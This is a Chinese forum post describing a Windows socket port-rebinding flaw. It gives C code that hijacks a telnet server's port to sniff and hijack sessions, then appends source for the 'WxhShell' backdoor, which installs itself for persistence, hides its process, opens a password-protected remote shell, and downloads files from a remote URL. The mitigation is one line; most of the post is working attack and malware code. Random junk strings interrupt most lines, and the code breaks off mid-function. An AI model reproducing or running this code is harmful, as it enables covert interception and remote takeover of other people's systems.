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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 9g'6zB  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); kBnb9'.A1  
Rlm28  
  saddr.sin_family = AF_INET; HuK Ob4g  
+F%tBUY{<  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Ct zW do.  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); `I4E': ZG  
F~hH>BH9  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 pSEaE9AX%  
kY6_n4  
  这意味着什么?意味着可以进行如下的攻击: 'cAS>s"$}V  
ykH@kv Qt  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 9'e<{mlM  
 =zDvZ(5  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ):nC%0V  
Xy`'h5  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 R3LIN-g(  
:zvAlt'q=  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  fC[~X[H  
)O$S3ojZ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 tA,J~|+f:  
M _lLP8W}  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 JiuA"ks)  
5*Qzw[[=  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Y7 K2@257  
E1`_[=8a9  
  #include R~|(]#com  
  #include ,U+>Q!$`\^  
  #include J, +/<Y!  
  #include    #?eMEws  
  DWORD WINAPI ClientThread(LPVOID lpParam);   dWe%6s;   
  int main() e p Dp*  
  { J83C]2~7  
  WORD wVersionRequested; rW_cLdh]#  
  DWORD ret; VVpJ +  
  WSADATA wsaData; VR A+p?7-  
  BOOL val; A/fM30  
  SOCKADDR_IN saddr; S v#,L8f  
  SOCKADDR_IN scaddr; f^F"e'1  
  int err; SQ]M"&\{y  
  SOCKET s; sIl&\g<b  
  SOCKET sc; h(3-/4  
  int caddsize; .I$+ E  
  HANDLE mt; lz1cLl m  
  DWORD tid;   }W[=O:p  
  wVersionRequested = MAKEWORD( 2, 2 ); h|i b*%P_  
  err = WSAStartup( wVersionRequested, &wsaData ); l<ZHS'-;8  
  if ( err != 0 ) { 2R^Eea  
  printf("error!WSAStartup failed!\n"); s8qpK; O  
  return -1; Fpwhyls  
  } Z!jJ93A"  
  saddr.sin_family = AF_INET; Ke]'RfO\  
   qPJSVo  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 %K06owV(S)  
3H4T*&9;n  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 0ia-D`^me  
  saddr.sin_port = htons(23); E9t8SclV  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "Vp:Sq9y  
  { [Ls%nz|  
  printf("error!socket failed!\n"); /TIt-c  
  return -1; t("koA=.  
  } )7Qp9Fxo  
  val = TRUE; /11CC \  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 &%k_BdlkQ  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) St> E\tXp  
  { Goy[P2m  
  printf("error!setsockopt failed!\n"); Tu,nX'q]m  
  return -1; V`YmGo  
  } 'aEN(Mdz1e  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; \_i22/Et  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 BO6XY90(  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 $(08!U  
mv`b3 $  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) nPl,qcyY  
  { U!RIeC  
  ret=GetLastError(); a5d_= :S ;  
  printf("error!bind failed!\n"); d-W*`:Q  
  return -1; TIaiJvo  
  } gp H@F X  
  listen(s,2); Qv;b$by3  
  while(1) 0AoWw-H6V  
  { %.Kr`#lCr  
  caddsize = sizeof(scaddr); 3/(eK%d4Xb  
  //接受连接请求 3O _O5  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 7uF @Xh  
  if(sc!=INVALID_SOCKET) -~H "zu`  
  { PpNG`_O  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); /'_Yct=  
  if(mt==NULL) :Dtm+EQ  
  { V%C'@m(/SZ  
  printf("Thread Creat Failed!\n"); /Bk`3~]E>  
  break; rg 0u#-  
  } c|(Q[=   
  } IF<T{/MA  
  CloseHandle(mt); 3vQVk  
  } YdB/s1|G  
  closesocket(s); KF!d?  
  WSACleanup(); AXnKhYlu  
  return 0; 9+.3GRt7  
  }   nvc(<Ovw  
  DWORD WINAPI ClientThread(LPVOID lpParam) Ywcgt|  
  { q6%m .X7  
  SOCKET ss = (SOCKET)lpParam; km`";gUp>  
  SOCKET sc; Pi,86?  
  unsigned char buf[4096]; iuM ,a F  
  SOCKADDR_IN saddr; rsw= a_S  
  long num; x8wsx F  
  DWORD val; }/IP\1bG  
  DWORD ret; (hRg0Z=  
  //如果是隐藏端口应用的话,可以在此处加一些判断 y`/:E<fVk  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   :x^e T  
  saddr.sin_family = AF_INET; d?cCSf  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); S T4[d'|j  
  saddr.sin_port = htons(23); t~qAA\p}o  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) IEI&PRD  
  { C*t0`3g d  
  printf("error!socket failed!\n"); cA| n*A-j<  
  return -1; p6Ia)!xOGF  
  } BE0Xg  
  val = 100; %;Z_`W  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) T)e Uo  
  { aqQ  U7  
  ret = GetLastError(); 0j}@lOt(  
  return -1; bz [?M}  
  } BgB0   
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1&Mpx!K*T  
  { UjyrmQf  
  ret = GetLastError(); 9PaV*S(\TR  
  return -1; , 0?_? GO  
  } ^$rqyWZYp  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) <u?\%iJ"  
  { 6\y?+H1  
  printf("error!socket connect failed!\n"); e#WASHZN  
  closesocket(sc); OL@$RTh  
  closesocket(ss); {"rL3Lk  
  return -1; GK3cQw  
  } -afNiNiY  
  while(1) q!Z{qt*`um  
  { u_o] \D~  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 tCu.Fc@  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Ty3.u9c4  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 1.Neg|  
  num = recv(ss,buf,4096,0); {Wr5F9q  
  if(num>0) ItZ*$I1<  
  send(sc,buf,num,0); gXY]NWI  
  else if(num==0) SR<W3a\  
  break; tU>7 jo[-p  
  num = recv(sc,buf,4096,0); Oz "_KMz  
  if(num>0) ="AaC!E,W  
  send(ss,buf,num,0); N~?(<DyZR  
  else if(num==0) OhM_{]*  
  break; tvUCd}  
  } vJX0c\e  
  closesocket(ss); e YiqTWn:  
  closesocket(sc); Ypinbej  
  return 0 ; $wl_  
  } )t2eg1a:  
c;n\HYk  
Lg-!,Y   
========================================================== Q*e\I8R}  
dkQP.Tj$i  
下边附上一个代码,,WXhSHELL Oz<#s{Z  
"DX 2Mu=  
========================================================== /38XaKc{6  
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#include "stdafx.h" crgVedx~}  
X"jtPYCpV{  
#include <stdio.h> {GGP8  
#include <string.h> A yOy&]g  
#include <windows.h> _Y)Wi[  
#include <winsock2.h> FU)=+m  
#include <winsvc.h> :8]y*j  
#include <urlmon.h> 1`~.!yd8(  
J M;WCV%NM  
#pragma comment (lib, "Ws2_32.lib") F^?DnZs  
#pragma comment (lib, "urlmon.lib") oS<*\!&D  
m+x$LkP  
#define MAX_USER   100 // 最大客户端连接数 "cvhx/\1#  
#define BUF_SOCK   200 // sock buffer g]d0B!Ar~  
#define KEY_BUFF   255 // 输入 buffer >^ E*7Bfp  
0Ld"df*  
#define REBOOT     0   // 重启 j&q%@%Gm  
#define SHUTDOWN   1   // 关机 =i},$"Bf*%  
| _nBiHjNn  
#define DEF_PORT   5000 // 监听端口 K :>O X  
e^N}(Kpy  
#define REG_LEN     16   // 注册表键长度 \ AB)L{  
#define SVC_LEN     80   // NT服务名长度 {??bJRT  
^3QJv{)Q  
// 从dll定义API N).'>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); J"XZnb)E=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); k/)h@K8@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); u7},+E)+B  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); E=]|v+#~  
ss`Sl$  
// wxhshell配置信息 RP k'1nD  
struct WSCFG { qTG i9OP6/  
  int ws_port;         // 监听端口 gN]\#s@[  
  char ws_passstr[REG_LEN]; // 口令 ~9@83Cs2  
  int ws_autoins;       // 安装标记, 1=yes 0=no nW oh(a  
  char ws_regname[REG_LEN]; // 注册表键名 O-3aU!L  
  char ws_svcname[REG_LEN]; // 服务名 }:!X@C~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 drbim8 !q~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 eAjsMED  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ju1B._48  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |w5,%#AeO$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {T DZDH  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ((=T E  
aYc^ 9*7  
}; *n6L3"cO  
~_ wSB[z  
// default Wxhshell configuration F!-%v5.y  
struct WSCFG wscfg={DEF_PORT, Q07&7SH_  
    "xuhuanlingzhe", T9Fe!yVA  
    1, ?}(B8^  
    "Wxhshell", -wh  
    "Wxhshell", Zg|l:^E  
            "WxhShell Service", DHZ`y[&}|N  
    "Wrsky Windows CmdShell Service", x~](d8*=  
    "Please Input Your Password: ", Vd'=Fe;eB  
  1, Xv+,Z<>iQ  
  "http://www.wrsky.com/wxhshell.exe", D2RvFlAXu  
  "Wxhshell.exe" `^|l+TJG  
    }; JoD@e[(  
e`Co ='  
// 消息定义模块 Of}C.N8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; RrdLh z2N  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7R5+Q\W  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1\g r ;b  
char *msg_ws_ext="\n\rExit."; `O`MW} c  
char *msg_ws_end="\n\rQuit."; )jh~jU?c@  
char *msg_ws_boot="\n\rReboot..."; AS'+p%(  
char *msg_ws_poff="\n\rShutdown..."; 8is QL  
char *msg_ws_down="\n\rSave to "; =q*c}8R_0  
yet ~  
char *msg_ws_err="\n\rErr!"; by\Sq}  
char *msg_ws_ok="\n\rOK!"; 7`&6l+S|  
JEF;Q  
char ExeFile[MAX_PATH]; x~K79Mya  
int nUser = 0; #7KR`H  
HANDLE handles[MAX_USER]; tYhcoV  
int OsIsNt; D  ,[yx='  
/QQjb4S}  
SERVICE_STATUS       serviceStatus; [X*u`J  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; bD-OEB  
B>@l(e)b  
// 函数声明 /Pg)@*~  
int Install(void); Zay%QNsb  
int Uninstall(void); $EzWUt  
int DownloadFile(char *sURL, SOCKET wsh); L~RFI&b  
int Boot(int flag); 3eB)X2~   
void HideProc(void); UD9JE S,  
int GetOsVer(void); - FJLM  
int Wxhshell(SOCKET wsl); &xp]9$  
void TalkWithClient(void *cs); l=x(   
int CmdShell(SOCKET sock); E'NS$,h  
int StartFromService(void); 2jxIr-a1G  
int StartWxhshell(LPSTR lpCmdLine); = |2F?  
X#zp,7j?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0& ?L%Y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :}-?X\|\  
{WQ6=wGpS  
// 数据结构和表定义 ^;tB,7:*V  
SERVICE_TABLE_ENTRY DispatchTable[] = lS#^v#uS  
{ -!K&\hEjj  
{wscfg.ws_svcname, NTServiceMain}, =^\?{oV  
{NULL, NULL} %jHe_8=o  
}; B{p74 >  
zg$ag4%Qgg  
// 自我安装 Z] x6np  
int Install(void) mI]gDL1  
{ h4+*ssnYV  
  char svExeFile[MAX_PATH]; d24_,o\_  
  HKEY key; ;--D?Gs]Qr  
  strcpy(svExeFile,ExeFile); >(.Y%$9"E  
7 |GSs=  
// 如果是win9x系统,修改注册表设为自启动 qw>vu7/z  
if(!OsIsNt) { "h|kf% W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IW-|"5?9'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A;dD'Kgl  
  RegCloseKey(key); ZX#60o8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9hh~u -8L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n{&;@mgI  
  RegCloseKey(key); tU *`X(;  
  return 0; b=U3&CV9  
    } .2s^8gO  
  } *2rc Y  
} zx*D)i5-  
else { hljKBx ~  
vVrM[0*c  
// 如果是NT以上系统,安装为系统服务 )lz~Rt;1i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); o8v,17 8  
if (schSCManager!=0) |~PaCw8-ge  
{  nF<xJs  
  SC_HANDLE schService = CreateService yH>C7M7 t  
  ( wNn=JzP  
  schSCManager, Pn6~66a6  
  wscfg.ws_svcname, %(W8W Lz}  
  wscfg.ws_svcdisp, *)Cr1d k  
  SERVICE_ALL_ACCESS, B*w]yL(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ),[@NK&=  
  SERVICE_AUTO_START, ei{tW3 H$  
  SERVICE_ERROR_NORMAL, 5&O%0`t  
  svExeFile, z(EpJK=`_  
  NULL, /7fd"U$Lh  
  NULL, l(}MM|ka  
  NULL, pOh<I {r1  
  NULL, e`q*'u1?  
  NULL =Y5m% ,Bq  
  ); @LSh=o+  
  if (schService!=0) u[oV Jvc  
  { #dD0vYT&od  
  CloseServiceHandle(schService); ~*9Ue@  
  CloseServiceHandle(schSCManager); hJD3G |E  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); P}qpy\/(4  
  strcat(svExeFile,wscfg.ws_svcname); _:WNk(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { x+;y0`oL  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); scYqU7$%T  
  RegCloseKey(key); 6:6A" A  
  return 0; O0s!3hKu  
    } 08D:2 z1z  
  } j>uu3ADd2  
  CloseServiceHandle(schSCManager); O:GAS [O`  
} os&FrtDg  
} *'-t_F';  
>,h{`  
return 1; ^E:-Uy  
} ByO?qft>u  
57 Bx-  
// 自我卸载 ;R Jv7@  
int Uninstall(void) ?u/UV,";y  
{ DHv86TvJt  
  HKEY key; 9+xO2n  
VJFFH\!`  
if(!OsIsNt) { r| )45@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +8x_f0 <  
  RegDeleteValue(key,wscfg.ws_regname); DvB{N`COd  
  RegCloseKey(key); c b&Yf1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /&_q"y9  
  RegDeleteValue(key,wscfg.ws_regname); BG= J8  
  RegCloseKey(key); 9I;~P &  
  return 0; wf &Jd:)4t  
  } j"aY\cLr t  
} T93st<F=R  
} &[_@f#  
else { C/#pK2xY  
'Cz*p,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); jD}h`(bE  
if (schSCManager!=0) S'kgpF"bm  
{ O`"~AY&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); t|h c`|  
  if (schService!=0) Zq<j}vVJ  
  { 0a^bAEP  
  if(DeleteService(schService)!=0) { NQX?&9L`r  
  CloseServiceHandle(schService); Uzc p  
  CloseServiceHandle(schSCManager); %KkC1.yu<  
  return 0; au/LoO#6Ro  
  } 6vR6=@(`>  
  CloseServiceHandle(schService); }qhYHC  
  } -aS@y.z  
  CloseServiceHandle(schSCManager); -2>s#/%  
} o 9/,@Ri\5  
} c5b }q@nH  
,\cV,$  
return 1; 32?'jRN(ue  
} / o I 4&W  
/3K)$Er  
// 从指定url下载文件 19c_=$mV  
int DownloadFile(char *sURL, SOCKET wsh) l|E4 7@#  
{ M \  
  HRESULT hr; -!\%##r7~  
char seps[]= "/"; P=KhR&gwV~  
char *token; x<Gjr}  
char *file; N N1}P'6Ha  
char myURL[MAX_PATH]; nqo1+OR  
char myFILE[MAX_PATH]; :KA)4[#;W  
) \TH'  
strcpy(myURL,sURL); h6^|f%\w*i  
  token=strtok(myURL,seps); sgGA0af  
  while(token!=NULL) qtozMa  
  { qsbV)c  
    file=token; D4|Ajeo;1  
  token=strtok(NULL,seps); /4 OmnE;  
  } "~._G5i.  
{i?G:K  
GetCurrentDirectory(MAX_PATH,myFILE); ge.>#1f}  
strcat(myFILE, "\\"); KK2YT/K$SG  
strcat(myFILE, file); !4=_l6kg~+  
  send(wsh,myFILE,strlen(myFILE),0); ^v'0\(H?P  
send(wsh,"...",3,0); G.~ Q2O#T  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {wj%WSQj/y  
  if(hr==S_OK) L 6fbR-&Lt  
return 0; strM3j##x  
else 2,`X@N`\  
return 1; $fT5Vc]B4  
f\_PNZCc  
} qlYi:uygY  
P5 oS 1iu*  
// 系统电源模块 #$-?[c$>  
int Boot(int flag) oYTLC@98}  
{ ~%g,Uypi  
  HANDLE hToken; ,d38TN  
  TOKEN_PRIVILEGES tkp; zIu/!aw  
;nQ=! .#Q  
  if(OsIsNt) { Z_xQ2uH$:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); n8=D zv0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8IQ}%|lN  
    tkp.PrivilegeCount = 1; +hr|$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; l!Xj UnRF  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +~aIT=i3  
if(flag==REBOOT) { `PL}8ydZ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) N>"L2E=z$|  
  return 0; Z_4%Oi  
} *AW v  
else { fW+ "Kuw  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {d;z3AB  
  return 0; a{Y|`*7y  
} 3en6 7l  
  } l5Ko9CG  
  else { d~%7A5  
if(flag==REBOOT) { y*{zX=]l<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) gN:F50   
  return 0; 7x>^ip"7  
} M'<% d[  
else { z EtsMU  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) aK;OzB)  
  return 0; {}k3nJfE  
} k?&GL!?  
} EFh^C.S8  
XX%K_p`&Z  
return 1; hk:>*B}  
} sL~4 ~178  
!E?+1WDS0  
// win9x进程隐藏模块 E>tHKNyVTp  
void HideProc(void) 4c 8{AZ  
{ l1'v`!  
k)*apc\W  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =Q<7[  
  if ( hKernel != NULL ) + c3pe4  
  { *->*p35  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); mHW%:a\L  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Gt*K:KT=L  
    FreeLibrary(hKernel); vr4r,[B6y  
  } h+j^VsP zB  
z{\tn.67  
return; `14@dk  
} }BI6dZ~2A  
y,|2hrj/0E  
// 获取操作系统版本 ' *a}*(0OA  
int GetOsVer(void) W-#DEU 7_  
{ wzju)qS  
  OSVERSIONINFO winfo; XF)N_}X^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  6d;}mhH  
  GetVersionEx(&winfo); B t}90#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) cpP}NJb0;%  
  return 1;  S9}I  
  else P4_B.5rrJ  
  return 0; gs3(B/";c  
} z=U+FHdh/-  
W0sLMHq  
// 客户端句柄模块 UH%H9; ,$]  
int Wxhshell(SOCKET wsl) SN ?Z7  
{ 2DFsMT>X  
  SOCKET wsh; 'vVWUK956  
  struct sockaddr_in client; :2S?|7U4  
  DWORD myID; L+%kibnY'  
Os$E,4,py  
  while(nUser<MAX_USER) upaP,ik}~  
{ 8} :$=n4&  
  int nSize=sizeof(client); Y0|){&PCt  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); iY07lvG<  
  if(wsh==INVALID_SOCKET) return 1; Qw2-Vv4!"  
;BH.,{*@B  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .G\](%  
if(handles[nUser]==0) w ods   
  closesocket(wsh); /KOI%x  
else 9M27;"gK  
  nUser++; t*H2;|zn_  
  } y@I 9>}"y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); d%qi~koN_  
d}:- Q?  
  return 0; YAT@xZs-  
} 7,p.M)t)  
^Z9bA(w8  
// 关闭 socket mJ<`/p?:  
void CloseIt(SOCKET wsh) P:.jb!ZU  
{ Ya\:C]   
closesocket(wsh); dGOFSH  
nUser--; tmS2%1o  
ExitThread(0); i'H]N8,A  
} 5Z; 5?\g  
LJPJENtFIs  
// 客户端请求句柄 gdTW ~b  
void TalkWithClient(void *cs) +%\Ci!%b  
{ %?].( Lc  
i;C` .+  
  SOCKET wsh=(SOCKET)cs; ef '?O  
  char pwd[SVC_LEN]; =l/Dc=[  
  char cmd[KEY_BUFF]; }B7Txo,Z  
char chr[1]; |}z5ST%  
int i,j; h'&<A_C-7  
~%=%5}  
  while (nUser < MAX_USER) { "y"oV[`  
&Hp*A^M  
if(wscfg.ws_passstr) { 8e>B>'nH  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o5&b'WUJ=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); : pUu_  
  //ZeroMemory(pwd,KEY_BUFF); .tG3g:  
      i=0; _xh)]R  
  while(i<SVC_LEN) { [q!]Ds" _  
Gn^lF7yE  
  // 设置超时 @br)m](@  
  fd_set FdRead; *w*K&$g  
  struct timeval TimeOut; , p}:?uR  
  FD_ZERO(&FdRead); =Mwuhk|*  
  FD_SET(wsh,&FdRead); `K+%/|!  
  TimeOut.tv_sec=8; su=MMr>  
  TimeOut.tv_usec=0; [06m{QJ)1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~HGSA(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ";7N$hWE  
:$K=LV#Iru  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R_/;U&R  
  pwd=chr[0]; Pd&KAu|<`  
  if(chr[0]==0xd || chr[0]==0xa) { <bhGpLh-E  
  pwd=0; WZ6{9/%:  
  break; ,5W u  
  } akr2Os  
  i++; 9HFEp-"  
    } R7(XDX=[ s  
98u@X:3  
  // 如果是非法用户,关闭 socket {~O4*2zg;K  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #Ko I8U"  
} `=hCS0F  
};rp25i  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); b`+yNf  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )=}qAVO8  
Bq)dqLwk  
while(1) { ;6hoG(3 +  
In?+  
  ZeroMemory(cmd,KEY_BUFF); v=G*K11@  
S'|PA7a}h  
      // 自动支持客户端 telnet标准   o N A ]G]  
  j=0; g`'!Vgd?M[  
  while(j<KEY_BUFF) { Brs6RkRf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jq]5Y^e  
  cmd[j]=chr[0]; DTA$,1JuD  
  if(chr[0]==0xa || chr[0]==0xd) { x f{`uHa8  
  cmd[j]=0; 9O&gR46.  
  break; Sd ^I >;  
  } d.w]\  
  j++; z@e(y@  
    } ?`xF>P]M  
N,XjZ26  
  // 下载文件  t{},Th  
  if(strstr(cmd,"http://")) { M} X `  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); OHAU@*[lM  
  if(DownloadFile(cmd,wsh)) }X8P5c!\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _Cz98VqRk  
  else ~v\ W[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); } x r0m+/  
  } V Zbn@1  
  else { /"`hz6rIv  
7{M&9| aK  
    switch(cmd[0]) { q M_c-^F  
  X(E`cH |  
  // 帮助 $}b)EMMM  
  case '?': { V-(]L:[JQ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Z>g&%3j  
    break; l*hWws[  
  } -!7Z  
  // 安装 HTiLA%%6  
  case 'i': { Zl9  
    if(Install()) d`V.i6u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cz/ E  
    else Q{S{|.w-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7t<h 'g2  
    break; khR[8j..  
    } .53 M!  
  // 卸载 nl(GoX$vRQ  
  case 'r': { jcJ@A0]  
    if(Uninstall()) V/\Y(Mxc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g?xXX /Qe  
    else M __S)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?QKD YH(  
    break; w6> P[oW  
    } `'iO+/;GY  
  // 显示 wxhshell 所在路径 m.ka%h$  
  case 'p': { r$4d4xtK  
    char svExeFile[MAX_PATH]; gp$]0~[tO  
    strcpy(svExeFile,"\n\r"); 0OG 3#pE  
      strcat(svExeFile,ExeFile); *[ 0,QEy  
        send(wsh,svExeFile,strlen(svExeFile),0); 71E~~$  
    break; 3 []ltN_  
    } Yg5o!A  
  // 重启 o` QH8  
  case 'b': { yR{rje*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ))dqC l  
    if(Boot(REBOOT)) *"_W1}^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pLF,rOb  
    else { _VgFuU$h  
    closesocket(wsh); X4\T=Q?uLx  
    ExitThread(0); Or$"f3gq  
    } ?1r;6  
    break; T}?b,hNl$  
    } sF :pwI5^  
  // 关机 g2?W@/pa  
  case 'd': { O251. hXK  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8MDivr/@  
